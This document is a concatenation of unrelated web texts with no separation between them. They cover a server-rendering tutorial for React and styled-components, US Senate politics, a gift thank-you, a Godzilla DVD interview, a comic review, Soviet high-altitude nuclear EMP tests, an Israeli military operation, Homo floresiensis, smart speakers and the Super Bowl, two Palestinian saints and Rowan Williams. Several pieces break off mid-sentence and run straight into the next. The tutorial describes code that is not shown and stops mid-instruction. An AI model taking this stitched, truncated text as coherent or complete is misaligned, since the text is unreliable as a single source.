The question isn't "Should a project make backwards-incompatible changes?" (The question very much isn't "Should a project do so gratuitiously?", so if you want to argue that point, please do so elsewhere. The real question is "How do you do make incompatible changes when necessary without hurting your users?"
I'll discuss some ideas next time.The simple guide to server-side rendering React with styled-components
Dennis Brotzky Blocked Unblock Follow Following Dec 12, 2017
The goal of this guide is to share the core principles of how to use styled-components in a server side rendered React application. The beauty of styled-components really shines through when you realize how seamless it is to setup in your application. Furthermore, styled-components are easy to integrate into existing applications that are using other methods of styling.
In this guide there are no additional libraries such as Redux, React Router, or concepts such as code splitting — let’s start with the basics.
You can view the final working example at: https://github.com/Jobeir/styled-components-server-side-rendering, discuss this post at https://spectrum.chat/thread/b95c9ef2-20cb-4bab-952f-fadd90add391
Getting started by setting up our React app
Application structure
First, let’s take a look at how our application will be structured for this guide. We’ll need to have all our dependencies and scripts within package.json and our build step will be processed through webpack.config.js.
Beyond that, a single server.js file will handle our routing and serving of our React application. The client/ folder contains our the actual application in App.js, Html.js and index.js.
To get started, in a new empty folder of your choice, create an empty package.json by running:
npm init --yes or yarn init --yes
Then paste in the following scripts and dependencies shown below. The dependencies for this application include React, styled-components, Express, Wepback, and Babel.
Now that all our dependancies are accounted for and we’ve setup our scripts to start and build our project we can setup our React application.
1. src/client/App.js
App.js returns a div wrapping the 💅 emoji. It’s a very basic React component that we will be rendering into the browser.
2. src/client/index.js
index.js is the standard way to mount a React application into the DOM. We’re taking out App.js component and rendering it.
3. src/client/Html.js
What we have so far is a package.json that contains all our dependencies and scripts along with a basic React app in the src/client/ folder. This React app will be rendered as HTML through the Html.js file that returns a template string.
Creating the server
To render our app on the server we’ll need to setup express to handle the request and send back our HTML. With express already added, we can get right into creating server.
src/server.js
Configuring Webpack
This guide is focused on the very basics so our Webpack config is kept simple. We are using Webpack to build our React app in production mode and with Babel. There is a single entry point at src/server.js that will be ouput into dist/
Now we have enough to build and serve a server side rendered React application. We can run two commands and be ready.
First, run:
yarn build or npm build
Then to start application run:
yarn start or npm start
If it does not start you may need to add a.babelrc file in the root of your project.
Visiting http://localhost:3000 after a successful yarn build and subsequent yarn start
Adding styled-components
So far, so good. We’ve successfully created a React application that’s rendered on the server. We don’t have any third party libraries like React Router, Redux, and our Webpack config is straight to the point.
Next, let’s start styling our app with styled-components:
src/client/App.js
Let’s create our first styled component. To create a styled component import styled and define your component.
Adding a styled component into our App
2. src/server.js
This is where the biggest changes occur. styled-components exposes ServerStyleSheet that will allow use to create a stylesheet from all the styled components in our <App />. This stylesheet gets passed into our Html template later on.
Adding 5 lines of code to server.js
3. src/client/Html.js
Adding styles as an argument into our Html function and inserting the ${styles} argument into our template string.
And that’s it! Let’s build and run our server side rendered React application with styled-components.
yarn build or npm build
Then to start application run:Drew Angerer via Getty Images Sen. Thom Tillis (R-N.C.) says it's probably not a good idea to rule out every Supreme Court nominee that Obama puts forward.
WASHINGTON ― A Republican on the Senate Judiciary Committee warned that his party risks looking “obstructionist” if they refuse to even consider a Supreme Court nominee from President Barack Obama.
“I think we fall into the trap, if we just simply say [no], sight unseen, we fall into the trap of being obstructionist,” Sen. Thom Tillis (R-N.C.) said in a radio interview Tuesday, first reported by ThinkProgress.
So far, that’s exactly what Republicans are doing.
“The American people should have a voice in the selection of their next Supreme Court Justice,” Senate Majority Leader Mitch McConnell (R-Ky.) said Saturday, after news broke of Justice Antonin Scalia’s death. “Therefore, this vacancy should not be filled until we have a new President.”
Republicans did not have to take this route. After all, they have a majority in the Senate and could simply block an Obama nominee on the floor in an up-or-down vote.
Tillis said the GOP would be happy to consider a candidate who “has an almost identical resume and capabilities as Justice Scalia” ― a prospect that he admitted was unlikely.
“If he puts forth someone that we think is in the mold of President Obama’s vision of America, then we’ll use every device available to block that nomination, wait for the American people to voice their vote in November and then move forward with a nomination after the election ― and most likely with the next president,” he added.
Tillis’ remarks hardly count as an endorsement for Obama filling the court vacancy, but the fact that he isn’t flat-out rejecting the idea of Senate confirmation proceedings sets him apart from other Republicans. Nearly all have lined up behind McConnell in saying Obama should hold off and let the next president fill the Supreme Court seat. That would leave the nation’s highest court with an empty seat for at least a year, an unprecedented lag time.
This all may just be bluster from the GOP. Sen. Chuck Grassley (R-Iowa), who chairs the judiciary committee, hasn’t ruled out a hearing for Obama’s forthcoming Supreme Court nominee.
“I would wait until the nominee is made before I would make any decisions,” Grassley told reporters in a Tuesday morning interview. “In other words, take it a step at a time.”
On the campaign trail, the GOP presidential candidates so far agree with McConnell’s approach ― obviously, they’d each like to be the next person in the White House who nominates someone to the court ― but Ben Carson conceded that if a Republican were in Obama’s shoes right now, they’d just go ahead and pick someone.
Also on HuffPost:I have THE BEST SANTA. I am so so pleased with my gift! I'd put in my likes that I spend most of my life being bored on the train and the bus, and that I liked reading. What I hadn't put is that I've not been able to read much recently because my work bag is so heavy already that I couldn't lug big books around with me to work and back, and that my commute is the only spare time I have in the day. My Santa solved all of these problems at once by getting me a Nook!!! Now I'll be able to read during my commute rather than sitting around being bored for 5 hours a day! And I'll be able to read in bed again! And I have a work trip that involves a 15-hour flight and lots of sitting about in the middle of nowhere- I actually have something fun to occupy me now! Seriously, I am so so grateful and thankful to my giftee. And actually totally surprised, I wasn't expecting anything so generous or so, well, perfect, if I'm honest. Thank you thank you thank you Santa!Anthony Romero: I'm talking with Matt Greenfield, a long time champion of releasing Toho and other Japanese films inside the United States. This particular interview is centered around the recent announcement that Kraken Releasing with Section23 Films is publishing a DVD and Blu-ray release of The Return of Godzilla (1984).
First off, for those unfamiliar with your work, you have been very involved in this space for a number of years. You were a co-founder of A.D.Vision which released a large number of Toho films in the United States that included Destroy All Monsters (1968), Yamato Takeru (1994 - as Orochi the Eight-Headed Dragon), GunHed (1989) and also the Toho distributed Heisei Gamera films, such as Gamera: Guardian of the Universe (1995). Can you describe a bit about yourself and your background in this space?
Matt Greenfield: I've been doing this professionally for 25 years, so that's a lot to squeeze down. Suffice it to say that I've been a huge fan of monster movies, special effects and animation for most of my life, and in the early 1980s I discovered that, if you had the right contacts, it was possible to purchase videos and other products directly from Japan. That opened a whole new world and led to a rather severe Japanese laserdisc addiction and a rapidly expanding collection of anime and tokusatsu films. This was in the pre-internet days and anime was something that most people in the U.S. had never even heard of, let alone built a sizable horde, and I soon found myself drafted into running what would become Houston's largest anime club, as well as writing for fan publications, helping run video rooms at cons and so on. Obviously I wasn't the only person who found all this stuff fascinating, and |
lost consciousness and was forced to have an eight-hour surgery to reconnect his wrist. The doctors had told him that he might always suffer from the pain of severed nerves and gave him the option of completely severing the wrist and using a prosthetic instead. He refused because he didn’t want to stop playing music. Due to heavy bleeding and the long surgery, he also had to receive blood transfusions until the edema in his artery healed.
“It’s like a knife is pressing into my skin,” James said of his injury. “I can’t forget the nightmare of that day.”
Understandably, everybody has been asking why the hell they weren’t suing the restaurant, but it turns out they had their reasons for delaying it.
His agency said, “After the accident, the restaurant attempted to have an amicable discussion through a lawyer. But how can you compensate for the future of a musician who knows nothing except music? We held back while we weren’t sure how his injury would affect his music career, but we will now start legal proceedings.”
Nobody knows the details of the case yet since even they appear to be in the information gathering stage right now, but I can’t imagine a metal and glass door crashing down on a random person would not be somebody’s negligence, whether it’s the restaurant or the building owner or whoever. So at a glance, they would appear to have a case, even though nothing could make up for what was lost, as they said.
Just a terrible feeling reading about how all this went down.By Octavio Karbank
There’s a little book coming out next week you might want to pick up from IDW: Boy-1. If you like genuine science fiction, then you’re in for a treat. Science fiction stories, in their truest form, have become more and more difficult to find. Additionally, discovering a “quality” sci-fi story is harder still. For better or worse, we live in an age where pure science fiction, the tales written by Arthur C. Clarke, Philip K. Dick and Robert A. Heinlein, are becoming a thing of the past, only to have become replaced by the new. What is the “new”? If you look at comic books, movies, and television shows, most everything sci-fi revolves around superheroes or people with powers. A few exceptions to the rule exist, and you sometimes see TV networks and comic book companies trying to push hard sci-fi concepts.
Science fiction works when the audience/reader recognizes something in the story as not altogether unfamiliar. The ability to connect with what we’re seeing or reading, baring witness to a setting that could very well come to pass. When the fiction of sci-fi becomes almost indistinguishable from what we perceive to be possible, not only are we able to positively respond in kind, but also our suspension of disbelief is just that, suspended. The lines between fiction and what-might-be get blurred in the purist way possible, thus giving birth to glorious sci-fi. Take a look at the comic Think Tank. While grounded in current technology, it maintains sci-fi aspects, but the reader is unable to tell fact from fiction. Subtly is the name of the game when seamlessly incorporating science-fiction features in the world-building process that comes out of making intelligent and unique futuristic stories. Boy-1 succeeds on all these fronts!
When you have people in the real world making comments like, “Why don’t we have that yet?” or “I could totally see that becoming our future,” you know you’re on to something great. With that, we finally arrive to IDW’s Boy-1. Written by H.S. Tak and with artwork by Amancay Nahuelpan, comic book readers can now add Boy-1 to the “true” sci-fi genre.
Boy-1 tells the futuristic story of a man who discovers he’s been the subject of a nefarious out-of-control experiment, an experiment that puts all of humanity in jeopardy. With this frightening knowledge, he soon finds himself on the run when various countries and the powers-that-be try and hunt him down.
So, should you read Boy-1? Yes, you definitely should. The story brims with potential, and the world Tak has constructed is unique, intriguing, and deserving of multiple visits. The first issue alone captures the imagination, both in its originality and the comic’s self-aware humor.
Comedy, or at least the numerous pop culture references, is scattered throughout the book, placed at especially opportune moments. While moments in the story satirize other sci-fi, the writing is good enough to not crumble under the weight of its own wit. Disallowing the narrative to get bogged down by its own cleverness is an important aspect of writing in general; an aspect Tak successfully navigates through.
The artwork too is drawn with a particular flair. Nahuelpan has designed a world that’s simultaneously shiny and gritty. Amidst the glamour and splendor, lies a seedy underbelly lurking mere inches away. Having Nahuelpan show off both the world our protagonist reside in and the old, forgotten world is a wonderful juxtaposition.
For the speculator, Boy-1 might be a good book to pick up too. With the potential for a TV deal, Boy-1 could very well become the next sci-fi hit we’ve all been waiting to watch. If that happens, then the first issue will likely be difficult to find at a reasonable price, like with issue one of Think Thank and Sex Criminals.
Boy-1 has everything required of a good science fiction story. Granted, the ending is a little rushed, but if that’s the only problem to come out of a first issue, then we’re in the clear. Coming out next Wednesday on August 12th, if you’ve been on the hunt for intelligent, pop culture savvy, sci-fi with a hefty dosage of realism, then read Boy-1. You shan’t be disappointed.
Octavio Karbank is a writer and bona fide Whovian. Living in Massachusetts, you can find him on Twitter @TymeHunter and his blog www.cozmicventures.com
About Hannah Means Shannon Editor-in-Chief at Bleeding Cool. Independent comics scholar and former English Professor. Writing books on magic in the works of Alan Moore and the early works of Neil Gaiman.
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None foundK project Information Country Soviet Union Test site Karagandy, Kazakhstan Period 1961-1962 Number of tests 5 Test type dry surface, space rocket (> 80 km) Max. yield 300 kilotonnes of TNT (1,300 TJ) Test series chronology 1961 Soviet nuclear tests 1962 Soviet nuclear tests →
Map all coordinates in "Soviet Project K nuclear tests" using: OpenStreetMap Download coordinates as: KML · GPX
The Soviet Union's K project nuclear test series[1] was a group of 5 nuclear tests conducted in 1961-1962. These tests followed the 1961 Soviet nuclear tests series and preceded the 1962 Soviet nuclear tests series.
The K project nuclear testing series were all high altitude tests fired by missiles from the Kapustin Yar launch site in Russia across central Kazakhstan toward the Sary Shagan test range (see map below).
Two of the tests were 1.2 kiloton warheads tested in 1961. The remaining three tests were of 300 kiloton warheads in 1962.
Electromagnetic pulse [ edit ]
The worst effects of a Soviet high altitude test were from the electromagnetic pulse of the nuclear test on 22 October 1962 (during the Cuban missile crisis). In that Operation K high altitude test, a 300 kiloton missile-warhead detonated west of Jezkazgan (also called Dzhezkazgan or Zhezqazghan) at an altitude of 290 km (180 mi).
The Soviet scientists instrumented a 570-kilometer (350 mi) section of telephone line in the area that they expected to be affected by the nuclear detonation in order to measure the electromagnetic pulse effects.[2] The electromagnetic pulse (EMP) fused all of the 570-kilometer monitored overhead telephone line with measured currents of 1500 to 3400 amperes during the 22 October 1962 test.[3] The monitored telephone line was divided into sub-lines of 40 to 80 kilometres (25 to 50 mi) in length, separated by repeaters. Each sub-line was protected by fuses and by gas-filled overvoltage protectors. The EMP from the 22 October (K-3) nuclear test caused all of the fuses to blow and all of the overvoltage protectors to fire in all of the sub-lines of the 570 km (350 mi) telephone line.[2] The EMP from the same test caused the destruction of the Karaganda power plant, and shut down 1,000 km (620 mi) of shallow-buried power cables between Astana (then called Aqmola) and Almaty.[3]
The Partial Test Ban Treaty was passed the following year, ending atmospheric and exoatmospheric nuclear tests.
[4] The nuclear missiles were launched from the [2] This map of Kazakhstan shows the missile flight path (in blue) for the K Project warhead-carrying missiles.The nuclear missiles were launched from the Kapustin Yar site east of Volgograd (formerly Stalingrad) in the upper left part of the map. The red burst in the flight path west of Zhezqazghan is the detonation location of the K-3 nuclear test (Test 184). The detonation locations for the other tests have not been publicized, but from the published detonation altitudes and basic physics, it is known that the other K Project nuclear detonation locations were along the designated flight path between the K-3 detonation site and Saryshagan (at the eastern end of the designated flight path). The instrumented telephone line damaged in the K-3 test went from Zhezqazghan through Qaraghandy (Karaganda), northward to Aqmola (now called Astana, the capital of Kazakhstan) and ended at an unknown location just north of Aqmola.
Aftereffects [ edit ]
Although the weapons used in the K Project were much smaller (up to 300 kilotons) than the United States Starfish Prime test of 1962, the damage caused by the resulting EMP was much greater because the K Project tests were done over a large populated land mass, and at a location where the Earth's magnetic field was greater. After the collapse of the Soviet Union, the level of this damage was communicated informally to scientists in the United States.[3]
After the 1991 Soviet Union collapse, there was a period of a few years of cooperation between United States and Russian scientists on the high-altitude nuclear EMP phenomenon. In addition, funding was secured to enable Russian scientists to formally report on some of the Soviet EMP results in international scientific journals.[5] As a result, formal scientific documentation of some of the EMP damage in Kazakhstan exists[2][6] but is still sparse in the open scientific literature.
The 1998 IEEE article,[2] however, does contain a number of details about the measurements of EMP effects on the instrumented 570 km (350 mi) telephone line, including details about the fuses that were used and also about the gas-filled overvoltage protectors that were used on that communications line. According to that paper, the gas-filled overvoltage protectors fired as a result of the voltages induced by the fast E1 component of the EMP, and the fuses were blown as the result of the slow E3 component of the EMP, which caused geomagnetically induced currents in all of the sub-lines.
The Aqmola (Astana) to Almaty buried power cable was also shut down by the slow E3 component of the EMP.[3]
Published reports, including the 1998 IEEE article,[2] have stated that there were significant problems with ceramic insulators on overhead electrical power lines during the tests of the K Project. In 2010, a technical report written for a United States government laboratory, Oak Ridge National Laboratory, stated, "Power line insulators were damaged, resulting in a short circuit on the line and some lines detaching from the poles and falling to the ground."[7]
^ The US, France and Great Britain have code-named their test events, while the USSR and China did not, and therefore have only test numbers (with some exceptions – Soviet peaceful explosions were named). Word translations into English in parentheses unless the name is a proper noun. A dash followed by a number indicates a member of a salvo event. The US also sometimes named the individual explosions in such a salvo test, which results in "name1 – 1(with name2)". If test is canceled or aborted, then the row data like date and location discloses the intended plans, where known. ^ To convert the UT time into standard local, add the number of hours in parentheses to the UT time; for local daylight saving time, add one additional hour. If the result is earlier than 00:00, add 24 hours and subtract 1 from the day; if it is 24:00 or later, subtract 24 hours and add 1 to the day. All historical timezone data are derived from here: ^ Rough place name and a latitude/longitude reference; for rocket-carried tests, the launch location is specified before the detonation location, if known. Some locations are extremely accurate; others (like airdrops and space blasts) may be quite inaccurate. "~" indicates a likely pro-forma rough location, shared with other tests in that same area. ^ Elevation is the ground level at the point directly below the explosion relative to sea level; height is the additional distance added or subtracted by tower, balloon, shaft, tunnel, air drop or other contrivance. For rocket bursts the ground level is "N/A". In some cases it is not clear if the height is absolute or relative to ground, for example, Plumbbob/John. No number or units indicates the value is unknown, while "0" means zero. Sorting on this column is by elevation and height added together. ^ Atmospheric, airdrop, balloon, gun, cruise missile, rocket, surface, tower, and barge are all disallowed by the Partial Nuclear Test Ban Treaty. Sealed shaft and tunnel are underground, and remained useful under the PTBT. Intentional cratering tests are borderline; they occurred under the treaty, were sometimes protested, and generally overlooked if the test was declared to be a peaceful use. ^ Includes weapons development, weapon effects, safety test, transport safety test, war, science, joint verification and industrial/peaceful, which may be further broken down. ^ Designations for test items where known, "?" indicates some uncertainty about the preceding value, nicknames for particular devices in quotes. This category of information is often not officially disclosed. ^ Estimated energy yield in tons, kilotons, and megatons. A ton of TNT equivalent is defined as 4.184 gigajoules (1 gigacalorie). ^ Radioactive emission to the atmosphere aside from prompt neutrons, where known. The measured species is only iodine-131 if mentioned, otherwise it is all species. No entry means unknown, probably none if underground and "all" if not; otherwise notation for whether measured on the site only or off the site, where known, and the measured amount of radioactivity released.IDF officer admits Operation Brother’s Keeper has little to do with returning the kidnapped teenagers.
By Yael Marom
Parts of Operation Brother’s Keeper were planned in advance and are being implemented with no connection to their stated purpose – the return of the three kidnapped Israelis teenagers – according to an IDF officer in Jenin. The officer, who spoke to the ultra-Orthodox news outlet “Hadrei Haredim,” (Hebrew) said that the army has been preparing for an operation in the city due to the arming of residents there.
According to Hadrei Hadarim, the officer stated that the army is intentionally trying to agitate the population in order to provoke stone throwers, which will allow Israeli snipers to kill them. “There was a group of snipers on the roof – an entire unit that moves on the outskirts of Jenin in order to make noise and raise tensions,” he said. “This was actually the true goal: to provoke them into causing disorder, and then put down those causing the disorder.”
+972 has not learned of any instances in which the army used live fire in Jenin since the start of the current operation.
Read: Rights groups say response to kidnapping is collective punishment
A top source in the IDF denied the accusations, stating that although Palestinians did throw stones, the soldiers did not respond with live fire. The IDF Spokesperson also responded to the claims, saying that they were “baseless” and that there “haven’t been any changes in orders regarding live fire.”
In response to an inquiry by +972, the IDF Spokesperson added that Operation Brother’s Keeper has two objectives: returning the kidnapped teens, and dealing a serious blow to Hamas in the West Bank. The Spokesperson also stated that the operation will last as long as is necessary.
Read this story in Hebrew on Local Call. Yael Marom is an editor at Local Call.
More on the kidnappings:
Badawi: Why Israel’s response to the kidnappings feels awfully familiar
Omer-Man: Rights groups say response to kidnapping is collective punishment
Matar: Israel’s crackdown moves beyond Hamas militantsRemains of one of the most recently discovered early human species, Homo floresiensis (nicknamed ‘Hobbit’), have so far only been found on the Island of Flores, Indonesia. The fossils of H. floresiensis date to between about 100,000 and 60,000 years ago, and stone tools made by this species date to between about 190,000 and 50,000 years old. H. floresiensis individuals stood approximately 3 feet 6 inches tall, had tiny brains, large teeth for their small size, shrugged-forward shoulders, no chins, receding foreheads, and relatively large feet due to their short legs. Despite their small body and brain size, H. floresiensis made and used stone tools, hunted small elephants and large rodents, coped with predators such as giant Komodo dragons, and may have used fire.
The diminutive stature and small brain of H. floresiensis may have resulted from island dwarfism—an evolutionary process that results from long-term isolation on a small island with limited food resources and a lack of predators. Pygmy elephants on Flores, now extinct, showed the same adaptation. The smallest known species of Homo and Stegodon elephant are both found on the island of Flores, Indonesia. However, some scientists are now considering the possibility that the ancestors of H. floresiensis may have been small when they first reached Flores.
One of our own scientists, Dr. Matt Tocheri, does research on this enigmatic early human species; read more about this work, and watch a video about it on this page.Google nabbed one of the first commercials during Super Bowl LI to promote Google Home, but Amazon Echo may be more fun to talk to during the Super Bowl.
Ask Google Home who will win Super Bowl LI, and you get a rather cautious response citing a USA Today poll and Vegas odds that favor the Patriots, but the intelligent assistant predicts no winner.
Alexa is a bit more bold.
“I think it will be a really exciting game with lots of scoring. The Patriots are favored to win by three points last I checked, but honestly I think the Falcon’s offense is going to score, and they will fly home with the win,” it said.
Ask Google Home who it is rooting for, and it will give the same response as if you asked who will win the Super Bowl.
Alexa’s response: “I’m flying with the Falcons on this one. I was pretty low when they beat my Seahawks, but I’ll feel better if they go on to win the whole thing, plus birds of a feather got to stick together right?”
Amazon Echo and Google Home have a few special features for Super Bowl LI. Here’s a couple of them.
Alexa has Atlanta Falcons and New England Patriots burns
What’s a Super Bowl without taking sides and talking copious amounts of trash? For jokes, say “Alexa, tell me a Patriots burn” or “Alexa, tell me a Falcons burn.”
Me: “Alexa, tell me a Falcons burn.”
Alexa: “What’s the difference between me and the Falcons? I have a ring.”
Order a pizza or beer
Google Home and Alexa-enabled devices can both be used to order a pizza.
Google Home can order from Domino’s Pizza; Alexa can get you Pizza Hut.
You can also order Wingstop and Starbucks. And in 28 cities around the country, the Drizly Alexa skill delivers Miller Lite.
Random facts
Ask Google Home for Super Bowl facts, and you can hear when the first Super Bowl was played, see the price of tickets over time, and find out that eight million pounds of guacamole is eaten on a typical Super Bowl Sunday.
Ask Alexa for Super Bowl facts, and you hear random facts about the National Football League.
Sports trivia
With Google Assistant, you can play Lucky Trivia Sports, a multiplayer trivia game.
Alexa also has skills like SuperBowl Facts and Super Bowl Fan Quiz.Image copyright AP Image caption Marie Alphonsine Ghattas, pictured here, and Mariam Bawardy, both lived in Ottoman-ruled Palestine
Each evening in May, Palestinian mothers and nuns come to the church at the Rosary Sisters Mamilla Convent in Jerusalem to pray to the Virgin Mary.
Now for the first time, Palestinian Catholics will also venerate two saints who lived in the Holy Land in modern times and were native Arabic speakers.
Marie Alphonsine Ghattas and Mariam Bawardy are among four 19th Century nuns who are being canonised by Pope Francis in Rome on Sunday.
At the house of Marie Alphonsine in Ein Karem, Sister Agatha shows around a large tour group of Christian women from Nazareth, in northern Israel.
"Every week parishioners come here," she tells me. "They're very proud of her. She was Palestinian and she started her work here in Palestine.
"She was our first teacher, the first one to educate Arab girls and women. Now, we're continuing her mission and we're famous because of our students."
Image caption International pilgrims come to pray in chapel dedicated to Mariam Bawardy
Today, the Congregation of the Rosary Sisters, co-founded by Marie Alphonsine, runs many kindergartens and schools across the wider region.
At the Carmel Convent in Bethlehem, flags and banners have been put up to celebrate the canonisation of Mariam Bawardy, born in the Galilee.
A mystic, she is said to have carried out many miracles and to have experienced stigmata - wounds representing those suffered by Jesus on the cross.
"She's special because she was very simple, very humble," says Sister Feryal. "This is really the way for being a saint."
"Mariam was known as 'the little Arab' but she always said, 'I am the little nothing.' This was her way and she teaches us to follow her in this simplicity."
Both nuns lived through tough conditions, overcoming male dominance in Ottoman society, poverty and ill-health while helping others.
Image copyright AFP Image caption The two nuns will be the first modern-day Palestinians to achieve sainthood
They are said to have received apparitions of the Virgin Mary and remained in close communication with her.
By granting these women sainthood, the Church is celebrating their good works but it also showing support for Christians in the birthplace of their religion.
It is one year since Pope Francis visited the Holy Land, praying for peace at the high concrete wall in Bethlehem, part of Israel's controversial separation barrier.
Thousands of the faithful from the occupied Palestinian territories and Israel turned out to greet him and attend an open-air mass.
The total number of Christians in Israel and the Palestinian territories has declined to less than 2% of the population.
This is partly because of growing Jewish and Muslim populations, but also because of the conflict and the chance of better opportunities abroad.
This week the Vatican officially recognised the State of Palestine in a new treaty, to be signed in the coming months.
Image copyright AFP Image caption Students at a Jerusalem school have been preparing for the event
"I do not see the Pope taking this Palestinian-Israeli question off his agenda. It will remain there," comments Gerard O'Connell, Vatican correspondent and associate editor of America magazine.
"He is anxious to encourage the two peoples, to push and prod them to somehow make initiatives, so they take the next step. He's trying to use his moral authority to get them to come together."
Palestinian church leaders and politicians, including the Muslim President, Mahmoud Abbas, will attend Sunday's consecration mass in Rome. Israel is sending a diplomatic delegation.
There will also be bishops from Jordan, Lebanon, Lebanon, Iraq, Morocco, Tunisia, Egypt, Libya and Cyprus.
The hope is that this will send a message of hope for the wider Middle East, where Christians are fleeing war and persecution.
"Everyone is interested in this event to celebrate those two new heroes in a special way," says Father Jamal Khadr, head of the Latin Patriarchate Seminary in Beit Jala.
"They are heroes of peace, of education, of justice and fraternity with others. We need those role models in our lives when we suffer from so much violence and hatred."Rowan Douglas Williams, Baron Williams of Oystermouth PC FBA FRSL FLSW (born 14 June 1950), is a Welsh Anglican bishop, theologian and poet.
Williams was the 104th Archbishop of Canterbury, Metropolitan of the Province of Canterbury, and Primate of All England, offices he held from December 2002 to December 2012.[2][3] He was previously the Bishop of Monmouth and Archbishop of Wales, making him the first Archbishop of Canterbury in modern times not to be appointed from within the Church of England.
Williams spent much of his earlier career as an academic at the universities of Cambridge and Oxford successively. He speaks three languages and reads at least nine.[4]
Williams' primacy was marked by speculation that the Anglican Communion (in which the Archbishop of Canterbury is the leading figure) was on the verge of fragmentation. Williams worked to keep all sides talking to one another.[1] Notable events during his time as Archbishop of Canterbury include the rejection by a majority of dioceses of his proposed Anglican Covenant and, in the final General Synod of his tenure, the failure to secure a sufficient majority for a measure to allow the appointment of women as bishops in the Church of England.
Williams stood down as Archbishop of Canterbury on 31 December 2012[5] to take up the position of Master of Magdalene College at Cambridge University in January 2013. Later in 2013, he was appointed Chancellor of the University of South Wales. He also delivered the Gifford Lectures at the University of Edinburgh in 2013. Justin Welby succeeded him in the chair of St Augustine on 9 November 2012, being enthroned in March 2013. On 26 December 2012, 10 Downing St announced Williams' elevation to the peerage as a Life Baron,[6] so that he could continue to speak in the Upper House of Parliament. Following the creation of his title on 8 January and its gazetting on 11 January 2013,[7] he was introduced to the temporal benches of the House of Lords as Baron Williams of Oystermouth on 15 January 2013,[8] sitting as a crossbencher.
Early life and ordination [ edit ]
Williams was born on 14 June 1950 in Swansea, Wales, into a Welsh-speaking family.[9] He was the only child of Aneurin Williams and his wife Nancy Delphine (known as "Del")[10] Williams (née Morris) – Presbyterians who became Anglicans in 1961. He was educated at the state-sector Dynevor School in Swansea, before going on to study theology at Christ's College, Cambridge, whence he graduated with starred first-class honours. He then went to Wadham College, Oxford, where he studied under A. M. Allchin and graduated with a Doctor of Philosophy degree in 1975 with a thesis entitled The Theology of Vladimir Nikolaievich Lossky: An Exposition and Critique.[11]
Williams lectured and trained for ordination at the College of the Resurrection in Mirfield, West Yorkshire, for two years (1975–1977). In 1977, he returned to Cambridge to teach theology as a tutor (as well as chaplain and Director of Studies) at Westcott House; he was made a deacon in the chapel by Eric Wall, Bishop of Huntingdon, at Michaelmas (2 October).[12] While there, he was ordained a priest the Petertide following (2 July 1978), by Peter Walker, Bishop of Ely, at Ely Cathedral.[13]
Career [ edit ]
Early academic career and pastoral ministry [ edit ]
Williams did not have a formal curacy until 1980, when he served at St George's, Chesterton, until 1983, after having been appointed a university lecturer in divinity at Cambridge. In 1984 he became dean and chaplain of Clare College and, in 1986 at the age of 36, he was appointed to the Lady Margaret Professor of Divinity at Oxford, a position which brought with it appointment to a residentiary canonry of Christ Church Cathedral. In 1989 he received the degree of Doctor of Divinity (DD) and, in 1990, was elected a Fellow of the British Academy (FBA).[14]
Episcopal ministry [ edit ]
On 5 December 1991, Williams was elected Bishop of Monmouth in the Church in Wales: he was consecrated a bishop on 1 May 1992 at St Asaph Cathedral and enthroned at Newport Cathedral on 14 May. He continued to serve as Bishop of Monmouth after he was elected to also be the Archbishop of Wales in December 1999, in which capacity he was enthroned again at Newport Cathedral on 26 February 2000.[15]
In 2002, he was announced as the successor to George Carey as Archbishop of Canterbury — the senior bishop in the Church of England and "first among equals" in the Anglican Communion. As a bishop of the disestablished Church in Wales, Williams was the first Archbishop of Canterbury since the English Reformation to be appointed to this office from outside the Church of England. His election by the Chapter of Canterbury Cathedral was confirmed by nine bishops in the customary ceremony in London on 2 December 2002, when he officially became Archbishop of Canterbury.[16] He was enthroned at Canterbury Cathedral on 27 February 2003 as the 104th Archbishop of Canterbury.
The translation of Williams to Canterbury was widely canvassed. As a bishop he had demonstrated a wide range of interests in social and political matters and was widely regarded, by academics and others, as a figure who could make Christianity credible to the intelligent unbeliever. As a patron of Affirming Catholicism, his appointment was a considerable departure from that of his predecessor and his views, such as those expressed in a widely published lecture on homosexuality were seized on by a number of evangelical and conservative Anglicans.[citation needed] The debate had begun to divide the Anglican Communion, however, and Williams, in his new role as its leader was to have an important role.
As Archbishop of Canterbury, Williams acted ex officio as visitor of King's College London, the University of Kent and Keble College, Oxford, governor of Charterhouse School,[17] and, since 2005, as (inaugural) chancellor of Canterbury Christ Church University. In addition to these ex officio roles, Cambridge University awarded him an honorary doctorate in divinity in 2006;[18] in April 2007, Trinity College and Wycliffe College, both associated with the University of Toronto, awarded him a joint Doctor of Divinity degree during his first visit to Canada since being enthroned and he also received honorary degrees and fellowships from various universities including Kent, Oxford, and Roehampton.[19]
Williams speaks or reads eleven languages: English, Welsh, Spanish, French, German, Russian, Biblical Hebrew, Syriac, Latin, and both Ancient (koine) and Modern Greek.[20][21] He learnt Russian in order to be able to read the works of Dostoyevsky in the original.[22] He has since described his spoken German as a "disaster area" and said that he is "a very clumsy reader and writer of Russian".[23]
Williams is also a poet and translator of poetry. His collection The Poems of Rowan Williams, published by Perpetua Press, was longlisted for the Wales Book of the Year award in 2004. Beside his own poems, which have a strong spiritual and landscape flavour, the collection contains several fluent translations from Welsh poets. He was criticised in the press for allegedly supporting a "pagan organisation", the Welsh Gorsedd of Bards, which promotes Welsh language and literature and uses druidic ceremonial but is actually not religious in nature.[24] His wife, Jane Williams, is a writer and lecturer in theology. They married on 4 July 1981[25] and have two children who were also state educated.[26]
In 2005, Prince Charles married Camilla Parker Bowles, a divorcee, in a civil ceremony. Afterwards, Williams, gave the couple a formal service of blessing.[27] In fact, the arrangements for the wedding and service were strongly supported[28] by the Archbishop "consistent with the Church of England guidelines concerning remarriage"[29] The "strongly-worded"[30] act of penitence by the couple, a confessional prayer written by Thomas Cranmer, Archbishop of Canterbury to King Henry VIII.[31] was interpreted as a confession by the bride and groom of past sins, albeit without specific reference[30] and going "some way towards acknowledging concerns" over their past misdemeanours.[31]
Williams officiated at the wedding of Prince William and Catherine Middleton on 29 April 2011.[32]
On 16 November 2011, Williams attended a special service at Westminster Abbey celebrating the 400th anniversary of the King James Bible in the presence of Queen Elizabeth, Prince Philip and Prince Charles, Patron of the King James Bible Trust.[33][34]
To mark the ending of his tenure as Archbishop of Canterbury, Williams presented a BBC television documentary about Canterbury Cathedral, in which he reflected upon his time in office. Entitled Goodbye to Canterbury, the programme was screened on 1 January 2013.[35]
2010 General Synod address [ edit ]
